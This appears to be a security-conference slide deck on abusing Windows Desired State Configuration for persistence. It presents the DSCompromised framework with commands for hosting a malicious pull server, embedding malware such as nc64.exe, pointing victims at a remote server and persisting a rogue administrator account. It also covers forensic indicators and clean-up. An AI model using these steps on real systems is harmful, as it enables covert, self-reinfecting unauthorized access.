Desired State: Compromised

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Agenda

- Background
- DSCompromised
 Framework and Attack
 Scenarios
- Sources of evidence
- Areas for future research and work



What the \$%#\$% is Desired State Configuration?

Windows DSC 101

- Next-gen configuration management platform for Windows
- Instrumented via PowerShell
- Uses standard Managed Object Format (MOF) files
- Does not require Active Directory (unlike SCCM)
- Similarities to Puppet & Chef
 - DSC is not a complete solution stack
 - DSC implements the configuration layer
 - Puppet and Chef can interoperate with DSC



What can DSC do?

Ensure that a desired "state" of the system is maintained over time

- Download and create files and directories
- Execute processes
- Run scripts
- Create users and assign group membership
- Control Windows services
- Manage registry keys and values
- Install software



DSC Workflow: Author, Stage, Implement





Sorry, no zero-days...

We have not...

- Exploited vulnerabilities in DSC
- Identified ways to escalate privileges with DSC

We have...

- Utilized DSC as a covert persistence mechanism
- Simplified the process to weaponize DSC
- Identified the telltale evidence of DSC misuse



Why is DSC an interesting attacker tool?

- Obscure and flexible persistence mechanism
- Not detected or examined by most security tools
- Automatic re-infection if not properly remediated





What are its limitations?

- Difficult to learn and use
 - Simplified by our PowerShell scripts
 - Troubleshooting can be painful
- Requires PowerShell 4.0 on victim and "C2" server
 - Windows 8.1 and later
 - Server 2012 R2 and later
 - Optional WMF upgrade on earlier versions
- Requires Administrator privileges on victim host
 - Post-compromise persistence





Introducing the DSCompromised Framework

DSCompromised Framework

- PowerShell scripts to setup DSC "C2" server, build payloads, infect victims
- Components:
 - Configure-Server.ps1
 - Configure-Payload.ps1
 - Configure-User.ps1
 - Configure-Victim.ps1
- <u>https://github.com/matthastings/DSCompromised</u>



Our approach: DSC "pull" mode

- Emulate a real C2 server
- Victim client initiates "beacon" requests via HTTP/s
- Server can be on the internet or victim's internal network
 - Attacker-controlled server preferable
 - Significant footprint to install DSC hosting components



Attack Scenario: Persist Malware

- Infect victim machine with backdoor malware
- Ensure the malware continues to execute and remain on disk
- Re-infect victim automatically if remediated





Demo video: Persisting malware with DSC

Attack Scenario: Step 0



Remote Pull Server



Internal Victim

Configure C2 Server by installing DSC services

- Add DSC Service Role: Add-WindowsFeature Dsc-Service
- Install Microsoft DSC Resource Kit: xPSDesiredStateConfiguration
- Run server setup script included with DSCompromised framework: Configure-Server.ps1



Configure-Server.ps1

PS C:\> Configure-Server -CompliancePort 9000 -ConfigPort
443

- Configure server as a DSC pull server
- -CompliancePort
 - Port where compliance server is hosted (optional)
 - Default value '9080'
- -ConfigPort
 - Port where configurations are hosted (optional)
 - Default value '8080'



Attack Scenario: Step 1



Remote Pull Server



Internal Victim

Build and host payload configuration on DSC C2 server

- Copy malware executable file to DSC C2 server
- Use DSCompromised script to ingest malware and build configuration payload: Configure-Payload.ps1
- Script generates configuration MOF with unique GUID name



Configure-Payload.ps1

PS C:\> Configure-Payload -SourceFile C:\evil.exe DestinationPath C:\Windows\NotEvil.exe -Arguments "foo bar"

- Create payload configuration hosted on DSC pull server
- -SourceFile
 - Local path to malware executable file
 - Contents stored as byte array in configuration MOF
- -DestinationPath
 - Location on victim where file will be created
- -Arguments
 - Arguments passed for process execution (optional)
- Output
 - MOF and checksum files named with unique GUID
 - Stored in C:\Program Files\WindowsPowerShell\DscService\Configuration



Attack Scenario: Step 2



Execute Configure-Victim.ps1 on victim

- Ensures WinRM enabled
- Takes GUID and server address as parameters
- Configures LCM to use remote DSC pull server



Attack Scenario: Step 3



Victim automatically downloads and applies configuration

- Configuration MOF drops embedded malware on disk and executes
- Attacker proceeds to interact with system via running backdoor



Configure-Victim.ps1

PS C:\> Configure-Victim -GUID {GUID} -Server 8.8.8.8 -Port
443 -MofPath C:\Temp\Temp.mof

- Runs on victim
- -GUID
 - GUID of configuration to download
- -Server
 - Pull server network address
- -Port
 - Pull server listening port (optional; default 8080)
- -MofPath
 - Location where temporary MOF file is written (optional)



Victim LCM Configuration

- AllowModuleOverwrite = \$True
 - Overwrite with newer configuration
- ConfigurationModeFrequencyMins = 15
 - Minutes between LCM checks that system is in compliance with config
 - Hardcoded minimum 15 minutes
- ConfigurationMode = 'ApplyAndAutoCorrect'
 - \circ How policy is applied
- RefreshFrequencyMins = 30
 - Minutes between communication with pull server for updated config
 - Hardcoded minimum 30 minutes
- RefreshMode = 'Pull'
 - How configurations are gathered (Pull or Push)



Attack Scenario: Step 4



Blue team Taylor Swift detects malware on disk

- Kills process
- Deletes file
- Shakes it off



15 minutes later...

0	Task Scheduler
File Action View Help	
A A A A	
🕘 Task Scheduler (Local) 🔨 🔨	Name Triggers
⊿ 🔀 Task Scheduler Library	Consistency At 1:03 PM on 10/7/2015 - After triggered, repeat every 15 minutes indefinitely.
⊿ 🛄 Microsoft	DSCRestartBootTask At system startup
⊿ Windows	
	General Triggers Actions Conditions Settings History (disabled)
Application Experience	Conditions Settings History (disabled)
ApplicationData	When you create a task, you must specify the action that will occur when your task starts. To change these
AppxDeploymentClient	Properties command.
Autochk	Action Details
CertificateServicesClient	Start a program PowerShell.exe -NonInt -Window Hidden -Command "Invoke-CimMethod -Namespac
Chkdsk	
Customer Experience Improven	
🔛 Data Integrity Scan 🗧	
Desired State Configuration	



Attack Scenario: Step 5



Victim is automatically reinfected

- DSC consistency check runs every fifteen minutes via scheduled task
- Malware is re-created on victim host and executes again
- Attacker regains access to victim machine



Attack Scenario: Step 6



Attacker decides to deploy new malware

- Updates configuration on remote pull server
 - Drop & run new malware
 - Enact other changes
- At next consistency check, victim automatically pulls and applies new configuration



Success!





Attack Scenario: Persist User Account

- Create an unauthorized local account with an attacker-chosen password
- Ensure user is a member of a specific group, such as local administrators
- Automatically re-add account and restore group membership if deleted or changed





Demo video: Persisting a rogue account with DSC

Configure-User.ps1

PS C:\> Configure-User -Username test_user -Password
Long_And_Complex! -Group RemoteAdmins

- Create user configuration hosted on DSC server
- -Username
 - User to be created on victim
- -Password
 - Must meet victim's password complexity requirements
- -Group
 - Local group of which user should be a member (optional)
 - Default 'Administrators'
- Output
 - MOF and checksum files named with unique GUID
 - Stored in C:\Program Files\WindowsPowerShell\DscService\Configuration



Sources of evidence: DSC use and abuse

Network traffic

You probably shouldn't see these requests leave your network... (unless you legitimately use an external DSC server!)

POST /psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/GetAction

GET /psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/ConfigurationContent



Where do DSC configs reside on disk?



PS C:\windows\system32\configuration> type .\PullRunLog.txt 0 2015-10-03T13:16:01 PS C:\windows\system32\configuration>



Metaconfig.mof contents

```
instance of MSFT_KeyValuePair as $Alias00000000
 2
         Key = "ServerUrl";
         Value = "http://130.211.179.159:8080/psdscpullserver.svc";
 5
     };
 6
     instance of MSFT_KeyValuePair as $Alias00000001
 8
         Key = "AllowUnsecureConnection";
 9
10
         Value = "TRUE":
11
     };
12
13
     instance of MSFT_DSCMetaConfiguration
14
15
         ConfigurationModeFrequencyMins = 15;
16
         RebootNodeIfNeeded = False;
17
         ConfigurationMode = "ApplyAndAutoCorrect";
18
         RefreshMode = "Pull";
19
         ConfigurationID = "394aa115-a360-4662-9505-58471d7f12d7";
20
         DownloadManagerName = "WebDownloadManager";
         DownloadManagerCustomData = {$Alias0000000, $Alias0000001};
21
         RefreshFrequencyMins = 30;
22
23
         AllowModuleOverwrite = True;
```



File system during "infection"

TANIUM"	Ask a Question: Enter a question here. You can use plain Er	glish.				2 advanced
HOME AC	TIONS AUTHORING ADMINISTRATION TRACE	IOC DETE	CT CONNEC	т		
Time (UTC) *	Process Name	PID 🕤	Operation 🕤	User 🕤	Path	Configure-Victim
2015-10-03 19:05:42	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	3520	CreateNewFile	Ryan Ka	C:\Windows\System32\Configuration\PullConfig.mof	script creates
2015-10-03 19:05:42	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	3520	CreateNewFile	Ryan Ka	C:\Windows\System32\Configuration\PullConfig.mof\localhost.meta.mof	
2015-10-03 19:05:42	C:\Windows\System32\wbem\WmiPrvSE.exe	1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\MetaConfig.tmp.mof	System creates
2015-10-03 19:05:42	C:\Windows\System32\wbem\WmiPrvSE.exe	1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\MetaConfig.mof	initial LCM meta
2015-10-03 19:05:42	C:\Windows\System32\wbem\WmiPrvSE.exe	1912	CreateNewFile	SYSTEM	C:\Windows\Temp\LCM81E3.tmp	comig
2015-10-03 19:05:43	C:\Windows\System32\svchost.exe	884	CreateNewFile	SYSTEM	C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration	n
2015-10-03 19:05:43	C:\Windows\System32\svchost.exe	884	CreateNewFile	SYSTEM	C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration	on\Consistency
2015-10-03 19:05:43	C:\Windows\System32\svchost.e	eates	CreateNewFile	SYSTEM	C:\Windows\System32\LogFiles\Scm\14241670-de21-404e-925b-652ff050c	fb5
2015-10-03 19:05:43	C:\Windows\System32\wbem\Wr	/ and	DeletePath	SYSTEM	C:\Windows\Temp\LCM81E3.tmp	
2015-10-03 19:05:43	C:\Windows\System32\svchost.exe	884	CreateNewFile	SYSTEM	C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration	on\DSCRestartBootTask

<snip></snip>					System writes to	
2015-10-03 19:05:43	C:\Windows\System32\wbem\WmiPrvSE.exe	1912	DeletePath	SYSTEM	C:\Windows\System32\Configuration\MetaConfig.tmp.mof	DSC Operational
2015-10-03 19:05:43	C:\Windows\System32\svchost.exe	996	CreateNewFile	SYSTEM	C:\Windows\Prefetch\SCHTASKS.EXE-2DE769BF.pf	Event Log
2015-10-03 19:05:44	C:\Windows\System32\svchost.exe	852	CreateNewFile	LOCAL	C:\Windows\System32\winevt\Logs\Microsoft-Windows-DSC%4Operation	al.evtx

File system during "infection"

	2015-10-03 19:05:51	C:\Windows\System32\wbem\WmiPrvSE.exe
	2015-10-03 19:05:51	C:\Windows\System32\wbem\WmiPrvSE.exe
	2015-10-03 19:05:51	C:\Windows\System32\wbem\WmiPrvSE.exe
	2015-10-03 19:05:51	C:\Windows\System32\wbem\WmiPrvSE.exe
	2015-10-03 19:05:52	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.ex
	2015-10-03 19:05:52	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.ex

1912	CreateNewFile	SYSTEM	C:\Windows\Temp\635794712468757011	System creates
1912	CreateNewFile	SYSTEM	C:\Windows\Temp\635794712468757011\localhost.mof	temp copy of
1912	CreateNewFile	SYSTEM	c:\Windows\Temp\635794712468757011\localhost.mof.checksum	"payload" MOF
Mak	ware dropp	ad by	C:\Windows\System32\Configuration\Pending.mof	
ivial	pavload MC	F	C:\nc64.exe	
1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\backup.mof	Current and backup
1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\Current.mof	config set to
1912	DeletePath	SYSTEM	C:\Windows\System32\Configuration\Pending.mof	"payload" MOF
1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\DSCEngineCache.mof	
1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\Current.mof.checksum	
1912	DeletePath	SYSTEM	C:\Windows\Temp\635794712468757011\localhost.mof	System deletes
1912	DeletePath	SYSTEM	C:\Windows\Temp\635794712468757011\localhost.mof.checksum	downloaded
1912	DeletePath	SYSTEM	C:\Windows\Temp\635794712468757011	"payload" MOF
1912	DeletePath	SYSTEM	C:\Windows\System32\Configuration\DSCEngineCache.mof	
Dull	timestame	added	C:\Windows\System32\Configuration\DSCEngineCache.mof	
to '	PullRunLoc	1.txt"	C:\Windows\System32\Configuration\PullRunLog.txt	
1912	DeletePath	SYSTEM	C:\Windows\System32\Configuration\DSCEngineCache.mof	
1912	CreateNewFile	SYSTEM	C:\Windows\System32\Configuration\DSCEngineCache.mof	
3520	DeletePath	Ryan Ka	C:\Windows\System32\Configuration\PullConfig.mof\localhost.meta.mof	Configure-Victim
3520	DeletePath	Ryan Ka	C:\Windows\System32\Configuration\PullConfig.mof	setup MOE

Event logs: DSC Operational

Upon running Configure-Victim.ps1

Event 4102, Desired State Configuration	
General Details Job {9628D765-1BDD-479A-A27D-38A55E6B5F05} : Configuration is sent from computer by user sid S-1-5-21-1183	443138-306328116-2762118002-
1002.	Event 4107, Desired State Configuration
	General Details
Event 4242, Desired State Configuration General Details	Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F}: Attempting to get the action from pull server using Download Manager WebDownloadManager. Configuration Id is 1505960a-99f1-41fa-9c9f-50b4b56c2a0d. Checksum is 204E845A8AD056DDC4C64B2E6ECF1378698E68F97921EC0DD89B342B7FCC124A. Compliance status is true.
Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F} : WebDownloadManager for configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0 server url: <u>http://130.211.144.143:8080/psdscpullserver.svc</u> .	d Do-DscAction command with
	Event 4110, Desired State Configuration
	General Details
8	Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F} : Successfully got the action GetConfiguration from pull server using Download Manager WebDownloadManager.

Event logs: DSC Operational (cont'd)

Event 4226, Desired State Configuration	
General Details Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F}: WebDownloadManager for configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0d Get-Ds GFT Url: psdscpullsever.svc/Action/ConfigurationId='1505960a-99f1-41fa-9c9f-	DscDocument command,
50b4b56c2a0d')/ConfigurationContent.	Event 4210, Desired State Configuration
	General Details
Event 4229, Desired State Configuration General Details	Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F}: Attempting to get the configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0d from pull server with Server Url http://130.211.144.143:8080/psdscpullserver.svc using Web Download Manager.
WebDownloadManager for configuration 1505960a-99f1-41fa-9c9f-50b4b56c2a0d Get-D	DscDocument command,
File save result: C:\Windows\TEMP\635794607787986222\localhost.mof.	Event 4211, Desired State Configuration
	General Details
	Job {CD39AAA3-CC55-4F3A-BAC5-00911CE68A7F} : The checksum validation for configuration C:\Windows\TEMP\\635794607787986222\localhost.mof completed with status code 0.

Event logs: Task Scheduler

DSC tasks registered and updated during first setup

Event 106, TaskScheduler	
General Details	
Consistency"	Event 106, TaskScheduler
	General Details
Event 140, TaskScheduler	User "S-1-5-18" registered Task Scheduler task "\Microsoft\Windows\Desired State Configuration \DSCRestartBootTask"
General Details	
User "S-1-5-18" updated Task Scheduler task "\Microsoft\Windows\Desired State \DSCRestartBootTask"	: Configuration Event 140, TaskScheduler
	General Details
	User "S-1-5-18" updated Task Scheduler task "\Microsoft\Windows\Desired State Configuration \Consistency"

PS query: Malware config





PS query: Malware config (cont'd)





PS query: User config

PS C:\windows\sys	stem32> G	et-DscConfiguration
Description		:
Disabled		: False
Ensure		: Present
FullName		:
Password	h A T T anna d	
PasswordChangeNot	LAITOwed	. Faise
PasswordNeverEvni	irec	· False
liserName	11 63	. evillser
PSComputerName		:
Credential		
Description	Admini	strators have complete and
	unrest	ricted access to the
	compute	er/domain
Ensure	: Presen	t
GroupName	: Admini	strators
Members	: {Admin	istrator, dscvictim, evilUser}
MembersToExclude	:	
MembersToInclude	:	
PSComputerName	:	



PS query: LCM configuration

PS C:\windows\system32> Get-Dsc	LocalConfigurationManager
ActionAfterReboot	: ContinueConfiguration
AllowModuleOverwrite	: True
CertificateID	:
ConfigurationID	: ca28d4d8-a82b-48e7-8a5c-36c60edf132a
ConfigurationMode	: ApplyAndAutoCorrect
ConfigurationModeFrequencyMins Credential	: 15
DebugMode	{NONE}
DownloadManagerCustomData	: {MSFT_KeyValuePair (key = "ServerUrl"), MSFT_KeyValuePair (key = "AllowUnsecureConnection")}
DownloadManagerName	: WebDownloadManager
LCMCompatibleVersions	: {1.0}
LCMState	: Idle
LCMVersion	: 1.0
RebootNodeIfNeeded	: False
RefreshFrequencyMins	: 30
RefreshMode	: Pull
PSComputerName	



Clean-up / DSC removal

- Delete MOF files from C:\Windows\system32\configuration
 - Current.mof
 - Current.mof.checksum
 - Pending.mof
 - Backup.mof
 - MetaConfig.mof
 - MetaConfig.backup.mof
- System will no longer "re-infect" at next consistency check



What's next?

DSC is probably here to stay

- Held back by lack of easy-to-use tools and legacy versions of Windows
- DSC Resource Kit open sourced in June
- Increasing number of popular use-cases
 - Windows Nano Server management
 - Azure VM management
- We have not yet seen these attack techniques in the wild



DSCompromised roadmap

- MOAR capabilities!
- Modularize configurations
- Auto dissolve
- Dynamically update existing configs
- Utilize compliance server to track
 victims







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